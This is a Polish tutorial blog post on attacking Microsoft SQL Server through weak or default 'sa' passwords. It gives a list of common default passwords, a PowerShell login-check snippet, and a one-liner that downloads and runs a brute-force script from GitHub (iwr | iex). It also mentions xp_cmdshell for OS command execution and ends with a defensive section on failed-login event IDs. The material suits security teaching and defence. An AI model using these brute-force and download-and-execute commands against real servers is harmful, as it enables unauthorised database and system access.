To co może o mnie wiecie to to, że jedną z moich ulubionych usług w organizacjach - w kontekście działań ofensywnych - jest MSSQL. Myślę, że hashtag #lowhangingfruits idealnie tu pasuje.
Dlaczego? Trzy powody:
Sporo instalacji posiada domyślne lub łatwe hasła na użytkownika sa czyli superadmina, moje ulubione to puste hasło, “sa”, “reset2”, “Comarch!2011”, “password”,
aplikacje WWW wykorzystujące MSSQL nierzadko działają z uprawnieniami sa / superadmina,
kiedy uda nam się uzyskać dostęp do bazy danych jako superadmin (czy to poprzez słabe hasła czy choćby przez podatność typu SQL Injection), możemy uruchomić procedurę xp_cmdshell, która uruchomi nam polecenie w systemie operacyjnym z uprawnieniami użytkownika, z którego uruchomiona jest usługa MSSQL.
Zasadniczo, usługa MSSQL Server nasłuchuje na porcie TCP 1433 (chociaż należy sobie powiedzieć, że nie jest to regułą).
By sprawdzić, czy usługa MSSQL cierpi na problem słabego hasła możemy wykorzystać moduł Metasploita o nazwie mssql_login. Jeśli mamy jednak pod ręką Powershella, możemy to wykonać jeszcze szybciej.
Poniżej znajduje się kawałek kodu, który sprawdzi czy serwer MSSQL znajdujący się pod adresem 172.16.0.10 posiada hasło “Comarch!2011” na użytkownika sa czyli superadmina.
$_user = "sa"
$_pass = "Comaarch!2011"
$_host = "172.16.0.10"
$Connection = New-Object System.Data.SQLClient.SQLConnection
$Connection.ConnectionString = "Data Source=$_host;Persist Security Info=True;User ID=$_user;Password=$_pass"
try {
$Connection.Open()
echo "[OK] $_user@$_host - $_pass"
} catch [Exception] {
echo "[ERR] $_user@$_host - $_pass"
}Jeśli faktycznie poświadczenia są poprawne, ujrzymy na terminalu:
[OK] sa@172.16.0.10 - Comarch!2011Pięknie.
Hasła, wszędzie hasła
Skąd w ogóle wziąć natchnienie jakie hasła sprawdzać? Pamiętacie jak napisałem wyżej o moich ulubionych hasłach na użytkownika sa? Skąd je znam? Cóż, posłużę się tutaj starą zasadą mędrców i dam Wam wędkę, nie rybę - przyjrzyjcie się poniższym wynikom wyszukiwania, a wszystko stanie się jasne:
https://www.google.com/search?q=mssql+sa+domyślne+hasło+filetype:pdf.
No dobra, dla zabieganych, kilka ryb:





Wracając do Powershella, gotowa do użycia w boju funkcja próbująca się zalogować do określonych serwerów MSSQL może wyglądać tak: Invoke-MSSQLBrute.ps1
By ją sprawdzić w akcji, wykorzystamy Dockera, który szybko pozwoli postawić nam serwer MSSQL. Dwa, w nieco różnych wersjach, jeden na porcie 1433 z hasłem Comarch!2011, drugi na porcie 1432 z hasłem P@ssw0rd.
root@juliet:/home/drg# docker run -e 'ACCEPT_EULA=Y' -e 'SA_PASSWORD=P@ssw0rd' -e 'MSSQL_PID=Express' -p 1432:1433 mcr.microsoft.com/mssql/server:2017-CU13
[...]
root@juliet:/home/drg/ubulab/mssql# docker run -e 'ACCEPT_EULA=Y' -e 'SA_PASSWORD=Comarch!2011' -e 'MSSQL_PID=Express' -p 1433:1433 mcr.microsoft.com/mssql/server:2017-CU13
[...]I w takim środowisku możemy skonsumować przygotowany skrypt, najpierw importując go:
iwr https://raw.githubusercontent.com/aptmasterclass/powershell-kungfu/master/mssql/Invoke-MSSQLBrute.ps1 | iexInvoke-MSSQLBrute -Hosts mssqlsrv1,"mssqlsrv2,1432" -Passwords "","sa","Comarch!2011","P@ssw0rd","kopytko" -Verbose W pierwszej linijce importujemy przygotowany skrypt z wykorzystaniem Invoke-WebRequest (w skrócie iwr) + Invoke-Expression (w skrócie iex) prosto z Githuba (więc jeśli w Waszych organizacjach Github jest zaufaną/whitelistowaną stroną - przepraszam) po to, by w drugiej linijce go wykorzystać z naszymi dwoma hostami i kilkoma względnie oczywistymi hasłami.
Wynik działania tego skryptu przedstawię na takim obrazku:

Niektórzy z Was mogą sobie pomyśleć WTF - uruchamianie i tworzenie skryptów Powershell na Mac OS X w Visual Studio Code (z emulacją Vim-a, swoją drogą)!? Tak, piekło zamarzło. Ale działa to wszystko świetnie i jest oficjalnie wspierane przez Microsoft.
Niezależnie od środowiska uruchomieniowego, skrypt spróbował kilku haseł dla użytkownika sa na dwóch hostach i w obu przypadakach mu się ostatecznie udało. Cool.
Co dalej? Mając poświadczenia uprzywilejowanego użytkownika (sa), możemy uruchomić dowolne polecenie w systemie operacyjnym - o tym w kolejnym wpisie, a tymczasem..
Odrobina niebieskiego
Myślę, że każdy członek zespołu niebieskiego ma już intuicję czego w tej materii potrzebuje. Potrzebuje mieć informacje o próbach logowania do Microsoft SQL Server, zwłaszcza tych nieudanych. Za nieudane próby logowania odpowiada zdarzenie o ID 18456, natomiast za udane 18454.
Jeśli mamy logowanie tych zdarzeń włączone, możemy w prosty sposób z pomocą Powershella je odnaleźć:
(Get-EventLog application | where { $_.EventID -eq 18456 })|Out-GridViewDorzuciliśmy |Out-GridView, żeby mieć wyniki w nowym, wygodnym okienku z GUI:

Prawdopodobnie dobrze by było, żebyście od razu byli powiadamiani o takich zdarzeniach (choć to zależy od specyfiki Waszej organizacji), niezależnie od wszystkiego jest to też jeden z fajnych elementów wyjściowych do Threat Huntungu.